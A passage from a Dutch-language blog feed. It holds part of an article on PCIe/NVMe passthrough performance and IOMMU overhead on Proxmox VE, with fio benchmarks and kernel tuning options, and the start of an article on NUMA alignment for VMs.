onderhoudt zijn eigen page tables, apart van die van de CPU. Elke DMA-aanvraag van het apparaat gaat door de IOMMU, die guest physical addresses vertaalt naar host physical addresses en elke toegang buiten de toegewezen geheugenregio\u0026rsquo;s van de gast blokkeert.\nZonder de IOMMU is veilige passthrough onmogelijk. Ermee is het apparaat ingeperkt.\nApparaatgroepering De IOMMU isoleert geen individuele apparaten. Het isoleert groepen.\nDe PCIe-specificatie definieert Access Control Services (ACS) die bepalen of apparaten op dezelfde bus rechtstreeks met elkaar kunnen praten — peer-to-peer DMA — zonder door het root complex te gaan waar de IOMMU zit. Als twee apparaten een PCIe-switch delen die ACS niet afdwingt, kan het ene apparaat DMA uitvoeren naar de geheugenruimte van het andere, waarbij het de IOMMU volledig omzeilt.\nDe kernel groepeert apparaten die elkaar mogelijk kunnen bereiken zonder IOMMU-handhaving in één IOMMU-groep. Als je NVMe-controller een groep deelt met een ander apparaat, breekt het doorgeven van alleen de NVMe het isolatiemodel. Het andere apparaat in de groep zou nog steeds als zijkanaal om de IOMMU heen gebruikt kunnen worden.\nServer-grade hardware met goede ACS-ondersteuning op elke bridge en switch geeft doorgaans elk apparaat zijn eigen groep. Consumenten- en werkstationborden gooien vaak meerdere apparaten samen omdat het PCIe-root-complex ACS niet op elke poort implementeert.\nProxmox draagt een kernelpatch — pcie_acs_override — die de kernel vertelt elk apparaat als geïsoleerd te behandelen ongeacht hardware-ACS-ondersteuning. Het werkt in de praktijk, maar het liegt tegen de kernel over de hardwaretopologie. Op een productiesysteem zijn schone groepen die gedekt worden door echte hardware-ACS altijd te prefereren.\nInterruptaflevering Op bare metal, wanneer een NVMe-controller een IO-operatie voltooit, vuurt hij een MSI-X-interrupt rechtstreeks naar de CPU. De CPU handelt die in een paar honderd nanoseconden af.\nOnder virtualisatie moet die interrupt de gast bereiken, niet de host. De naïeve aanpak is elke interrupt in de hypervisor te trappen, een VM exit te triggeren, de interrupt in de gast te injecteren en te hervatten. Dat werkt, maar elke VM exit kost 5–20µs. Bij hoge IOPS — honderdduizenden interrupts per seconde — is de overhead substantieel.\nDe hardware-oplossing is posted interrupts. Intels APICv en AMD\u0026rsquo;s AVIC laten de IOMMU de interrupt rechtstreeks in de virtuele APIC-pagina van de gast schrijven zonder überhaupt een VM exit te veroorzaken. De gast ziet de interrupt alsof die van bare-metal-hardware kwam. De overhead daalt tot een paar honderd nanoseconden.\nNiet alle platforms ondersteunen posted interrupts. Oudere CPU\u0026rsquo;s, sommige werkstationchipsets, en sommige BIOS-versies leggen de capability niet bloot. Wanneer ze ontbreken, gaat elke interrupt door het trage pad, en er is geen software-workaround.\nApparaat-Reset Wanneer een VM afsluit of crasht, moet het doorgegeven apparaat terugkeren naar een schone, bekende toestand. Anders kan het niet opnieuw worden toegewezen aan een andere VM of teruggenomen door de host.\nOp bare metal doet het OS een ordelijke afsluiting van de apparaatdriver. Onder passthrough kan de gast crashen, kan de gebruiker de VM geforceerd stoppen, of kan de hypervisor het proces killen. Het apparaat kan midden in een overdracht zitten met DMA-operaties in de lucht.\nPCIe definieert hiervoor Function Level Reset (FLR) — een manier om één apparaatfunctie te resetten zonder de rest van de bus te beïnvloeden. NVMe-controllers ondersteunen FLR over het algemeen en handelen het goed af. GPU\u0026rsquo;s zijn er notoir slecht in, maar dat is een ander artikel.\nAls FLR niet ondersteund wordt, is de terugval een secondary bus reset, die alles achter die PCIe-bridge reset. Als de bridge er andere apparaten op heeft, worden die ook allemaal gereset. In het ergste geval is een volledige host-reboot de enige manier om het apparaat terug te nemen.\nAdresvertaling-Overhead De IOMMU lost het veiligheidsprobleem op. Het is dan ook niet optioneel. Maar het introduceert een prestatieprobleem.\nElke DMA-operatie gaat nu door een extra niveau van adresvertaling. De IOMMU heeft zijn eigen TLB — de IOTLB — en wanneer die raak is, is de overhead klein. Wanneer die mist, moet de IOMMU zijn page tables doorlopen, en dat voegt echte latency toe aan elke betrokken IO-operatie.\nDit is de IOMMU-tax. De rest van dit artikel gaat over begrijpen waar het vandaan komt en hoe je het minimaliseert.\nElke DMA gaat door de IOMMU: een hit is goedkoop, een miss doorloopt de page tables Gast-VM NVMe-driver deelt guest physical addresses uit NVMe-controller schrijft geheugen rechtstreeks — geen CPU DMA IOMMU IOTLB zijn eigen page tables vertalen, dan toestaan of weigeren Host-geheugen de pagina's van deze VM vertaling landt hier host en andere VM's onbereikbaar per ontwerp Zonder de IOMMU zou de controller gastadressen rechtstreeks in host-RAM schrijven en beschadigen wat daar leeft. IOTLB hit — de vertaling is al gecachet en kost bijna niets. IOTLB miss — de IOMMU doorloopt zijn page tables, en die latency landt op deze IO. Dit is de tax. Niets bereikt het geheugen zonder hierlangs te passeren. Dat is de veiligheidsgarantie, en de vertaling die het uitvoert is de kostenpost. BAR-Mapping en Adresruimte Elk PCIe-apparaat legt een of meer Base Address Registers (BAR\u0026rsquo;s) bloot die de interne registers en het geheugen van het apparaat in de MMIO-adresruimte van de host mappen. De host-CPU benadert het apparaat via deze mappings. Om passthrough te laten werken, moet de hypervisor deze mappings correct aan de gast presenteren.\nTraditioneel lagen BAR-groottes bij het opstarten vast door de BIOS en pasten ze binnen het legacy 32-bits MMIO-venster onder 4GB. Dat werkte toen BAR\u0026rsquo;s klein waren. Moderne GPU\u0026rsquo;s hebben het beeld veranderd. Een framebuffer van 24GB heeft een BAR van 24GB nodig, die niet in een 32-bits adresruimte past.\nResizable BAR (ReBAR) — ook op de markt gebracht als AMD Smart Access Memory (SAM) — is een PCIe-capability die het toestaat de BAR-grootte na het opstarten opnieuw te onderhandelen. Voor GPU\u0026rsquo;s is dit een belangrijke feature. In plaats van de framebuffer via een venster van 256MB te benaderen en er in stukken doorheen te pagineren, mapt de host het hele VRAM in één keer.\nVoor NVMe is de directe impact kleiner. NVMe-controller-BAR\u0026rsquo;s zijn doorgaans 16KB tot 64KB voor de controller-registerset (BAR0). De NVMe-specificatie definieert een Controller Memory Buffer (CMB) die een grotere BAR kan blootleggen voor host-resident submission queues, maar de meeste schijven implementeren dat niet. ReBAR verandert de NVMe-doorvoer niet op de manier die het voor GPU\u0026rsquo;s doet.\nDe reden dat het uitmaakt in een NVMe-passthrough-context is de gedeelde PCIe-omgeving. Als je een NVMe-schijf doorgeeft naast een GPU op dezelfde host, heeft de resized BAR van de GPU adresruimte boven de 4GB-grens nodig. De BIOS, de IOMMU en de virtuele PCIe-topologie moeten dat allemaal accommoderen. De adresruimtetoewijzing verkeerd krijgen betekent dat apparaten niet initialiseren, en de NVMe-passthrough faalt samen met al het andere.\nBlootstelling Aan Stroomverlies Op een virtuele schijf handelen de hypervisor en de storagelaag de schrijfvolgorde en crash-consistentie af. Met passthrough praat de gast rechtstreeks met flash. Als de host midden in een schrijfactie stroom verliest, bepaalt wat de firmware van de NVMe-controller met zijn write cache doet — of niet doet — of je data verliest.\nEnterprise-NVMe-schijven dragen power loss protection (PLP) condensatoren die de write cache veilig wegschrijven tijdens een stroomstoring. Consumentenschijven zonder PLP mogelijk niet. Met passthrough is er geen hypervisor-vangnet tussen de gast en de hardware.\nVoor een productieworkload is een enterprise-schijf met PLP niet optioneel.\nOperationele Afwegingen Passthrough verwijdert ook capabilities die virtuele schijven bieden.\nEen doorgegeven apparaat is fysiek vastgeschroefd aan een specifieke host. De VM kan niet live-gemigreerd worden zolang het apparaat aangesloten is. In een Proxmox-cluster met HA betekent een node-uitval dat de VM omvalt en koud opstart op een andere node. Er is geen naadloze failover.\nDe schijf is ook onzichtbaar voor vzdump en Proxmox Backup Server. Hij wordt niet meegenomen in VM-snapshots of geplande backups. Een aparte backupstrategie — op gastniveau, filesystem-niveau of applicatieniveau — moet aanwezig zijn voordat de workload live gaat.\nHoe VFIO-Passthrough Werkelijk Werkt Wanneer je een PCIe-apparaat aan een VM doorgeeft, geeft de hypervisor de gast directe controle over de MMIO-registers van het apparaat. De gastdriver praat met de NVMe-controller alsof die op bare metal draaide. Dat deel is bijna native. MMIO-registertoegang gaat door Extended Page Tables (EPT op Intel, NPT op AMD) en voltooit doorgaans zonder een VM exit.\nHet DMA-pad is waar de kostenpost verschijnt. Elke DMA-operatie gaat door de IOMMU voor adresvertaling, en zoals hierboven beschreven heeft die vertaling een prijs. Vooral bij IOTLB-missers.\nWaarom De Benchmarks Er Slechter Uitzien Dan De Werkelijkheid Hier gaan de meeste mensen de mist in met hun tests.\nEen Proxmox-forumthread die dit artikel aanzette, had gebruikers die fio draaiden met iodepth=1. Bij die queue depth dient fio één IO in, wacht tot die voltooit, en dient dan de volgende in. De test meet gewoon de latency per IO. Elke microseconde IOMMU-overhead komt volledig naar voren.\nDe cijfers uit die thread vertellen het verhaal helder. De voltooiingslatency op bare metal was gemiddeld rond de 10µs. Binnen de VM was die gemiddeld rond de 28µs. Die extra ~18µs per IO is de IOMMU-vertaling-overhead. Bij iodepth=1 halveert het de doorvoer rechtstreeks, omdat doorvoer gelijk is aan 1 / latency wanneer er maar één IO in de lucht is.\nVerhoog de queue depth naar 32 of 64 — de manier waarop NVMe-schijven zijn ontworpen te werken — en het beeld verandert. Met meerdere IO\u0026rsquo;s in de lucht wordt de IOMMU-overhead over allemaal geamortiseerd. De controller verwerkt voltooiingen terwijl er nieuwe vertalingen plaatsvinden. De doorvoer herstelt tot binnen een paar procent van bare metal.\nDe praktische conclusie is deze. Als je workload op queue depths boven de 4 draait, is de IOMMU-doorvoerstraf waarschijnlijk verwaarloosbaar. Dat dekt de meeste database-, virtualisatie- en storageworkloads. Als je workload latency-gevoelig is op lage queue depths — bepaalde realtime-applicaties, synchrone metadata-operaties — zul je het voelen.\nDe IOMMU-straf is meer een queue-depth-artefact dan een doorvoerplafond VM-doorvoer als aandeel van bare metal realistische workloads leven hierin 0% 25% 50% 75% 100% de benchmark die iedereen draait iodepth=1 meet pure latency per IO, dus de 10 µs tegen 28 µs komt volledig naar voren binnen een paar procent 1 2 4 8 16 32 64 queue depth (fio iodepth) Illustratief, uit de eigen 10 µs / 28 µs-cijfers van het artikel. Dezelfde hardware, dezelfde test, dezelfde overhead — alleen de queue depth verandert. De overhead is op elk punt van deze curve hetzelfde. Het enige dat verandert is hoeveel IO\u0026rsquo;s in de lucht zijn om die overheen te amortiseren. Draai je benchmarks op realistische queue depths voordat je concludeert dat passthrough te traag is:\n# Bare metal baseline — run on the host before binding to vfio-pci fio --name=randread --ioengine=libaio --direct=1 --bs=4k \\ --iodepth=32 --numjobs=4 --rw=randread --size=1G \\ --filename=/dev/nvme0n1 --runtime=30 --time_based \\ --group_reporting # Same test inside the VM after passthrough fio --name=randread --ioengine=libaio --direct=1 --bs=4k \\ --iodepth=32 --numjobs=4 --rw=randread --size=1G \\ --filename=/dev/nvme0n1 --runtime=30 --time_based \\ --group_reporting Vergelijk de clat-percentielen (completion latency) en de IOPS-cijfers. Bij iodepth=32 met vier jobs zou het gat enkele procentpunten moeten zijn, geen 50%.\nNUMA-Uitlijning Dit heeft zijn eigen artikel. Zie NUMA-Uitlijning op Proxmox VE — Waarom Het Uitmaakt en Hoe Je Het Goed Doet.\nDe korte versie: op multi-socket-systemen is elk PCIe-apparaat bedraad aan een specifieke socket. Als de NVMe-schijf op NUMA-node 1 zit en de vCPU\u0026rsquo;s van de VM zijn gepind aan node 0, kruist elke DMA-voltooiing de inter-socket-link. Dat voegt 50–100ns per operatie toe. Bij hoge IOPS is het doorvoerverschil tussen uitgelijnde en niet-uitgelijnde NUMA 20–30%.\nControleer met cat /sys/bus/pci/devices/0000:XX:00.0/numa_node, en pin dan de vCPU\u0026rsquo;s van de VM aan cores op dezelfde node met de affinity-parameter in de VM-config. Op single-socket-systemen is dit geen zorg.\nPCIe Active State Power Management (ASPM) Dit heeft zijn eigen artikel. Zie PCIe ASPM en Waarom Je Het Zou Moeten Uitschakelen voor Passthrough.\nDe korte versie: ASPM laat PCIe-links laag-vermogenstoestanden ingaan wanneer ze inactief zijn. Onder passthrough beheert de host nog steeds de fysieke link maar bezit de gast het apparaat. Wanneer de gast IO indient en de link slaapt, voegt de wektijd latency toe. Het symptoom is een brede spreiding in je clat-percentielen. De p99 kan 5–10x hoger zijn dan het gemiddelde terwijl het gemiddelde er prima uitziet.\nSchakel het uit op de host met pcie_aspm=off op de kernel-commandoregel. Voeg ook disable_idle_d3=1 toe aan de vfio-pci-moduleopties als je NVMe-controller herstelproblemen met stroomtoestanden heeft. De Samsung 990 EVO Plus is een bekende boosdoener.\nMaxPayloadSize (MPS) Dit heeft zijn eigen artikel. Zie PCIe MaxPayloadSize — Een Gratis Prestatiewinst voor Passthrough.\nDe korte versie: PCIe-apparaten dragen data over in Transaction Layer Packets. Het virtuele root-complex van QEMU staat standaard op een maximale payload van 128 bytes. De meeste apparaten ondersteunen 256 of 512 bytes. Het toevoegen van pci=pcie_bus_perf aan de host-kernel-commandoregel zet MPS op het maximum dat de parent bus van elk apparaat toestaat. Het is een kleine doorvoerverbetering — laag enkelcijferig percentage — maar het is gratis zonder nadeel.\nResizable BAR en MMIO-Venster Het BAR-mapping-probleem dat eerder beschreven werd, heeft praktische stappen aan zowel de BIOS- als de VM-kant.\nSchakel eerst Above 4G Decoding in in de BIOS. Dit staat toe dat BAR\u0026rsquo;s in adresruimte boven de 4GB-grens gemapt worden, wat vereist is voor elk apparaat met grote BAR\u0026rsquo;s. Schakel het in zelfs voor NVMe-only-passthrough. Het heeft geen nadeel en voorkomt problemen als je later een GPU of ander large-BAR-apparaat toevoegt.\nAls ReBAR beschikbaar is in de BIOS, schakel dat dan ook in. Het beïnvloedt de NVMe-prestaties niet rechtstreeks, maar het staat GPU\u0026rsquo;s op dezelfde host toe hun volledige framebuffer-mapping te gebruiken.\nAan de VM-kant heeft het virtuele Q35-root-complex van QEMU een groot genoeg 64-bits MMIO-venster nodig zodat de gast resized BAR\u0026rsquo;s kan zien. Standaard wijst OVMF een relatief klein venster toe. Voor NVMe-only-passthrough is dit prima. NVMe-BAR\u0026rsquo;s passen comfortabel. Maar als de VM zowel een NVMe als een GPU doorgegeven heeft, vergroot dan het MMIO-venster:\nargs: -fw_cfg name=opt/ovmf/X-PciMmio64Mb,string=65536 Dit vertelt OVMF 64GB aan 64-bits MMIO-ruimte toe te wijzen, genoeg voor de meeste GPU-framebuffers naast de kleine BAR van de NVMe-controller.\nQEMU\u0026rsquo;s ReBAR-ondersteuning is verbeterd maar is nog steeds niet naadloos. Sommige AMD-GPU\u0026rsquo;s (Vega en nieuwer) triggeren driverfouten (Code 43 in Windows) met ReBAR ingeschakeld onder QEMU. Als je dat tegenkomt, schakel ReBAR dan als eerste stap uit in de BIOS. NVMe-passthrough wordt hoe dan ook niet beïnvloed.\nVoor wat Resizable BAR aan de GPU-kant van het hek doet, en waarom Intel het als verplicht behandelt op Arc terwijl NVIDIA het per game inschakelt, zie PCIe Resizable BAR en Moderne GPU\u0026rsquo;s.\nInterruptafhandeling Het interruptaflevering-probleem dat eerder beschreven werd, heeft een praktische afstelstap. Posted interrupts (APICv op Intel, AVIC op AMD) zijn mogelijk niet standaard ingeschakeld.\nControleer of ze actief zijn:\n# Intel — look for \u0026#34;Posted-Interrupts\u0026#34; in dmesg dmesg | grep -i \u0026#34;posted\u0026#34; # AMD — check AVIC support dmesg | grep -i \u0026#34;avic\u0026#34; Getrapte interruptaflevering versus posted interrupts Geen posted interrupts — de voltooiing neemt de lange weg NVMevuurt MSI-X hypervisortrapt het injecteerin de gast gast hervathandelt het af VM exit VM entry 5–20 µs per interrupt Bij een paar honderdduizend IOPS is dat geen afrondingsfout — het is de dominante kostenpost. Posted interrupts (Intel APICv / AMD AVIC) — regelrecht erin NVMevuurt MSI-X IOMMUschrijft het rechtstreeks virtuele APIC-pagina van de gast de gast ziet gewoon een interrupt geen exit geen exit ~100s of ns Er is geen software-workaround: posted interrupts zijn een hardware-capability. Maar ze zijn niet altijd standaard ingeschakeld, dus controleer erop voordat je concludeert dat het trage pad onvermijdelijk is. Vier stappen en twee VM exits, of één write in de APIC-pagina van de gast. Bij hoge IOPS houdt het verschil op academisch te zijn. Schakel op AMD EPYC-systemen AVIC in de KVM-module in als die niet standaard aanstaat:\n# /etc/modprobe.d/kvm.conf options kvm_amd avic=1 Op Intel-systemen wordt APICv met posted interrupts doorgaans automatisch ingeschakeld wanneer VT-d actief is.\nAls je platform geen posted interrupts ondersteunt, is er geen software-workaround. Het is een hardware-capability. Maar het is de moeite waard te verifiëren dat het werkelijk aanstaat voordat je aanneemt dat het trage pad onvermijdelijk is.\nInterrupt-Affiniteit en Queue-Uitlijning NVMe-controllers gebruiken meerdere submission- en completion-queue-paren. Doorgaans één per CPU-core. Wanneer de vCPU\u0026rsquo;s van de VM niet uitlijnen met de fysieke cores die de NVMe-interrupts afhandelen, moeten voltooiingen cores kruisen via inter-processor interrupts. Dat voegt latency toe.\nControleer binnen de gast hoeveel IO-queues de NVMe-driver heeft aangemaakt en hoe ze gemapt zijn:\n# List NVMe IO queues cat /proc/interrupts | grep nvme # Check affinity for irq in $(grep nvme /proc/interrupts | awk \u0026#39;{print $1}\u0026#39; | tr -d \u0026#39;:\u0026#39;); do echo \u0026#34;IRQ $irq: $(cat /proc/irq/$irq/smp_affinity_list)\u0026#34; done Idealiter zou de interrupt van elke NVMe-IO-queue geaffiniteerd moeten zijn aan de vCPU die aan die queue indient. De meeste moderne NVMe-drivers handelen dit automatisch af. Maar het is de moeite waard te verifiëren, vooral als je handmatig vCPU\u0026rsquo;s hebt gepind of het vCPU-aantal onder het queue-aantal van de controller hebt verlaagd.\nGebruik Altijd Q35, Niet i440fx Dit verdient zijn eigen artikel. Zie Gebruik Altijd Q35, Niet i440fx.\nDe korte versie: i440fx presenteert een vlakke legacy-PCI-bus. Q35 presenteert een echt PCIe-root-complex. Passthrough-apparaten op i440fx verschijnen als legacy-PCI, wat MSI-X multi-queue-interruptaflevering breekt. NVMe-controllers hebben MSI-X nodig voor hun queue-per-core-architectuur. Zonder dat trechteren alle IO-voltooiingen door één interrupt en krijg je een bottleneck bij hoge IOPS die geen enkele hoeveelheid kernelafstelling zal oplossen.\nIn Proxmox 8.x en nieuwer is Q35 de standaard voor nieuwe VM\u0026rsquo;s. Als je passthrough doet op een oudere VM die nog i440fx is, schakel over. RHEL 10 heeft i440fx formeel afgeschaft, en het bredere KVM-ecosysteem volgt.\nAlles Bij Elkaar Brengen Hier is een samenvatting van de afstelstappen op volgorde van impact.\nDe afstelstappen op volgorde van impact, en wat elk ervan werkelijk verandert op volgorde van impact wat het verandert 1 NUMA-uitlijning 20–30% van de doorvoer op een multi-socket-machine. Niks anders op deze lijst komt in de buurt. DOORVOER 2 ASPM uit Verwijdert wektijd uit de staart. Het gemiddelde beweegt nauwelijks; p99 wel. LATENCY-JITTER 3 Realistische queue depths Verandert niets op de machine. Weerhoudt je van de verkeerde conclusie uit iodepth=1. DE METING 4 Posted interrupts (APICv / AVIC) Microseconden naar nanoseconden per interrupt — maar alleen als het platform het heeft. Verifieer, neem niet aan. KOSTEN PER INTERRUPT 5 MaxPayloadSize — pci=pcie_bus_perf Laag enkelcijferig percentage. Gratis, geen nadeel, dus zet het — maar verwacht niet het te zien. WIRE-OVERHEAD 6 vfio-pci disable_idle_d3 Voorkomt dat een pietluttige controller sterft in D3. Koopt betrouwbaarheid, geen snelheid. BETROUWBAARHEID Gerangschikt, bewust niet als balken getekend: deze delen geen eenheid, dus een staafdiagram zou uitnodigen tot een vergelijking die er niet is. Werk deze lijst naar beneden, niet dwars erdoorheen. De eerste vermelding is op een multi-socket-machine meer waard dan de rest bij elkaar. NUMA-uitlijning — zorg dat de NVMe-schijf en de vCPU\u0026rsquo;s van de VM op dezelfde NUMA-node zitten. Dit alleen al kan op multi-socket-systemen een doorvoerverschil van 20–30% verklaren.\nASPM uit — voeg pcie_aspm=off toe aan de host-kernel-commandoregel. Elimineert latency-jitter van PCIe-link-stroomtoestandsovergangen.\nRealistische queue depths — test op iodepth=32 of hoger, niet iodepth=1. De IOMMU-overhead die op lage queue depths domineert, wordt op realistische depths geamortiseerd.\nPosted interrupts — verifieer dat APICv (Intel) of AVIC (AMD) actief is. Verlaagt de overhead per interrupt van microseconden naar nanoseconden.\nMPS-optimalisatie — voeg pci=pcie_bus_perf toe aan de host-kernel-commandoregel. Zet MaxPayloadSize op het maximum dat de topologie ondersteunt.\nvfio-pci-energiebeheer — voeg disable_idle_d3=1 toe als je NVMe-controller stroomtoestandsproblemen heeft onder passthrough.\nEen gecombineerde host-kernel-commandoregel voor een Proxmox-node die NVMe-passthrough doet op een AMD EPYC-systeem zou er ongeveer zo uitzien:\nGRUB_CMDLINE_LINUX_DEFAULT=\u0026#34;quiet amd_iommu=on iommu=pt pcie_aspm=off pci=pcie_bus_perf\u0026#34; Voor Intel:\nGRUB_CMDLINE_LINUX_DEFAULT=\u0026#34;quiet intel_iommu=on iommu=pt pcie_aspm=off pci=pcie_bus_perf\u0026#34; Wanneer Passthrough Het Niet Waard Is Voordat je dit pad inslaat, is het de moeite waard je af te vragen of je NVMe-passthrough eigenlijk wel nodig hebt.\nVirtIO-SCSI en VirtIO-BLK met een NVMe-ondersteunde virtuele schijf zijn al zeer efficiënt. De overhead vergeleken met passthrough is doorgaans 5–10% op latency. Het doorvoerverschil is voor de meeste workloads verwaarloosbaar.\nPassthrough is zinvol wanneer je nodig hebt dat het gast-OS het apparaat rechtstreeks beheert. Dat omvat SMART-monitoring, firmware-updates, TRIM/discard-controle, en specifieke NVMe-features zoals reservations. Het is ook zinvol voor latency-gevoelige workloads waar zelfs een paar microseconden ertoe doen. Bepaalde database-engines en realtime-data-inname vallen in die categorie.\nVoor al het andere wegen de operationele afwegingen die eerder behandeld werden — verlies van live migratie, verlies van snapshots en backupintegratie — doorgaans zwaarder dan de kleine prestatiewinst.\nEr is niks slims aan het kiezen van het moeilijkere pad wanneer het makkelijkere de klus klaart.\nJe Wijzigingen Verifiëren Nadat je de afstelstappen hebt toegepast, verifieer je dat alles werkt zoals verwacht:\n# Host side — confirm IOMMU is in passthrough mode dmesg | grep -i iommu # Confirm ASPM is disabled lspci -vv | grep -i \u0026#34;ASPM Disabled\u0026#34; # Check MPS on the NVMe controller lspci -vv -s XX:00.0 | grep MaxPayload # Inside the VM — run the fio comparison fio --name=randread --ioengine=libaio --direct=1 --bs=4k \\ --iodepth=32 --numjobs=4 --rw=randread --size=1G \\ --filename=/dev/nvme0n1 --runtime=30 --time_based \\ --group_reporting Vergelijk de VM-resultaten met je eerdere bare-metal-baseline. Bij iodepth=32 zou je doorvoer moeten zien binnen 5% van bare metal. De gemiddelde voltooiingslatency zou binnen 10–15µs van de host-cijfers moeten liggen. Als het gat nog steeds groot is, controleer dan eerst de NUMA-uitlijning. Het is de meest over het hoofd geziene factor. Het kost ook niets behalve een configwijziging, wat het het beste soort probleem maakt om mee achter te blijven.\nReferenties Linux-kernel PCI-documentatie — MPS- en MRRS-afstelopties — de gezaghebbende bron voor pcie_bus_perf, pcie_bus_safe en verwante parameters Proxmox VE Administration Guide — PCI(e) Passthrough — officiële Proxmox-documentatie over VFIO-apparaatpassthrough-configuratie Proxmox Forum — NVMe Passthrough Performance — de communitydiscussie die dit artikel aanzette ","permalink":"https://blogs.damiendye.uk/nl/proxmox/pcie-passthrough-performance-the-iommu-tax/","summary":"Waarom PCIe-apparaten doorvoer verliezen wanneer ze via VFIO aan een VM worden doorgegeven, en de praktische afstelstappen die het meeste ervan terugwinnen.","title":"PCIe-Passthrough-Prestaties op Proxmox VE — De IOMMU-Tax en Hoe Je Die Minimaliseert"},{"content":"Wat NUMA is NUMA staat voor Non-Uniform Memory Access. Op een systeem met één socket bereikt elke CPU-kern al het RAM van het systeem via dezelfde geheugencontroller. De toegangstijd is gelijk, welke kern het verzoek ook doet en waar de data ook in het fysieke geheugen staat.\nOp een systeem met meerdere sockets heeft elke CPU-socket zijn eigen geheugencontroller en zijn eigen bank RAM. Een kern op socket 0 kan het RAM aan socket 0 snel bereiken — dat is lokaal geheugen. Hij kan ook het RAM aan socket 1 bereiken, maar dat verzoek moet over de link tussen de sockets (Intel UPI, AMD Infinity Fabric). Dat is extern geheugen, en dat is langzamer.\nDe kernel noemt elke socket-met-zijn-lokale-geheugen een NUMA-node. Een systeem met twee AMD EPYC-sockets heeft ten minste twee NUMA-nodes. Sommige EPYC-processors laten vier NUMA-nodes per socket zien (één per CCD), wat op een bord met twee sockets acht nodes geeft.\nHet prestatieverschil tussen lokale en externe geheugentoegang is niet subtiel. Lokale toegang is rond de 80–100 ns. Externe toegang is rond de 130–200 ns. Dat is 50–100% straf per geheugenbewerking. Op zichzelf is dat een heel klein getal. Betaald op elke geheugentoegang zolang de VM leeft, is het niet klein meer.\nWaarom het uitmaakt voor virtualisatie Als Proxmox een VM aanmaakt, wijst het vCPU\u0026rsquo;s en RAM toe. Standaard kunnen die vCPU\u0026rsquo;s op elke fysieke kern op elke socket worden ingeplant. Het RAM van de VM kan uit de geheugenpool van elke NUMA-node komen.\nZet de planner een vCPU op socket 0 terwijl het RAM van de VM op socket 1 staat, dan steekt elke geheugentoegang van die vCPU de link tussen de sockets over. Stuiteren de vCPU\u0026rsquo;s tussen sockets — en dat doen ze als je ze niet vastzet — dan wordt het patroon van geheugentoegang een rommeltje. Sommige toegangen zijn lokaal, sommige extern, en de prestaties van de VM schokken mee.\nVoor algemene workloads — een webserver, een fileserver, een desktop-VM — is dat vaak te leven. De overhead zit er wel, maar is over veel bewerkingen verspreid en overheerst niet.\nVoor IO-intensieve workloads — databases, opslagservers, alles met zware schijf- of netwerk-IO — telt de straf op. Elke DMA-afronding, elke interruptbezorging, elke buffercopy raakt het geheugen. Steken die toegangen sockets over, dan loopt de overhead snel op.\nWaarom het uitmaakt voor passthrough PCIe-apparaten zitten fysiek aan een bepaalde CPU-socket gedraad. Elke socket heeft zijn eigen PCIe-root complex. De NVMe-schijf in slot 3 zit misschien op de PCIe-lanes van socket 0. De GPU in slot 5 misschien op die van socket 1.\nDoet een apparaat DMA, dan gaat de data naar het geheugen dat hangt aan de NUMA-node waar de IOMMU hem naartoe wijst. Komt het RAM van de VM uit de node die lokaal is voor het apparaat, dan gaat de DMA-write direct naar lokaal geheugen. Staat het RAM op de andere node, dan steekt elke DMA-bewerking de link tussen de sockets over.\nVoor een NVMe-schijf die honderdduizenden IOPS doet, telt die straf van 50–100 ns per bewerking op. Bij iodepth=32 met random reads van 4 KB kan het doorvoerverschil tussen uitgelijnde en niet-uitgelijnde NUMA 20–30% zijn. En dat is nog voordat je naar IOMMU-overhead, ASPM, MPS of iets anders hebt gekeken.\nNiet-uitgelijnde NUMA stuurt elke DMA over de link tussen de sockets; uitgelijnd houdt het lokaal Niet uitgelijnd — de VM staat op node 0, de schijf op node 1 NUMA-node 0 kernen 0–15 RAM 128 GB VM: vCPU's vast op 0–15, RAM hier toegewezen NUMA-node 1 kernen 16–31 RAM 128 GB NVMe — root complex 1 UPI / IF elke DMA steekt de link over — 130–200 ns Uitgelijnd — vCPU's, RAM en de schijf allemaal op node 1 NUMA-node 0 kernen 0–15 RAM 128 GB vrij voor andere VM's NUMA-node 1 kernen 16–31 RAM 128 GB NVMe — root complex 1 VM: affinity 16-31, numa0 hostnodes=1, policy=bind stil 80–100 ns Bij iodepth=32 met random reads van 4 KB is het gat hiertussen 20–30% van de doorvoer — nog voordat IOMMU-overhead, ASPM of MPS in beeld komen. Op een systeem met één socket is er geen tweede node en geen link tussen sockets, dus hier geldt niets van. Beide keren dezelfde hardware. Het enige verschil is aan welke node de VM was vastgezet — en of de DMA van de schijf de link moet oversteken om bij het geheugen van de VM te komen. Hetzelfde geldt voor netwerkkaarten, GPU\u0026rsquo;s en elk ander doorgegeven apparaat. Het DMA-verkeer van het apparaat hoort in lokaal geheugen te landen, en de vCPU\u0026rsquo;s die dat verkeer verwerken horen op dezelfde node te zitten.\nHoe je je topologie controleert Zoek op welke NUMA-node een apparaat zit # Replace 0000:XX:00.0 with your device\u0026#39;s PCI address from lspci cat /sys/bus/pci/devices/0000:XX:00.0/numa_node Dit geeft het nummer van de NUMA-node terug. Geeft het -1 terug, dan kon de kernel de node niet vaststellen. Dat gebeurt soms bij apparaten achter bepaalde PCIe-switches. Trek in dat geval de PCIe-topologie met de hand na via lspci -tv en koppel de root port aan de socket.\nBekijk je volledige NUMA-indeling numactl --hardware Dit laat je elke NUMA-node zien, hoeveel CPU-kernen erop zitten, hoeveel geheugen eraan hangt, en de afstand (relatieve kosten) tussen nodes.\nVoorbeelduitvoer van een systeem met twee EPYC-sockets:\navailable: 2 nodes (0-1) node 0 cpus: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 node 0 size: 131072 MB node 1 cpus: 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 node 1 size: 131072 MB node distances: node 0 1 0: 10 32 1: 32 10 De node-afstandstabel van numactl --hardware lezen De afstandstabel van\u0026#160;numactl --hardware Twee sockets, 2 NUMA-nodes per socket. Relatieve kosten, geen nanoseconden. node 0 node 1 node 2 node 3 node 0 node 1 node 2 node 3 10 16 32 32 16 10 32 32 32 32 10 16 32 32 16 10 socket 0 socket 1 10 — de node zelf, lokaal geheugen 16 — dezelfde socket, de andere node 32 — over de link tussen de sockets Zet een VM en zijn apparaat vast binnen één 10, en laat het geheugen nooit op een 32 landen. Een bord met 2 nodes laat alleen 10 en 32 zien; de 16'en verschijnen zodra een socket meerdere nodes laat zien. De getallen zijn relatieve kosten, geen nanoseconden. Houd een VM en zijn apparaat binnen één 10, en laat het geheugen nooit op een 32 landen. De afstandstabel vertelt je de relatieve kosten. 10 is lokaal. 32 is extern. Hogere getallen betekenen meer hops. Op EPYC-opstellingen met vier nodes per socket hebben sommige nodeparen een afstand van 32 en andere 16, afhankelijk van op welke CCD ze zitten.\nApparaten aan nodes 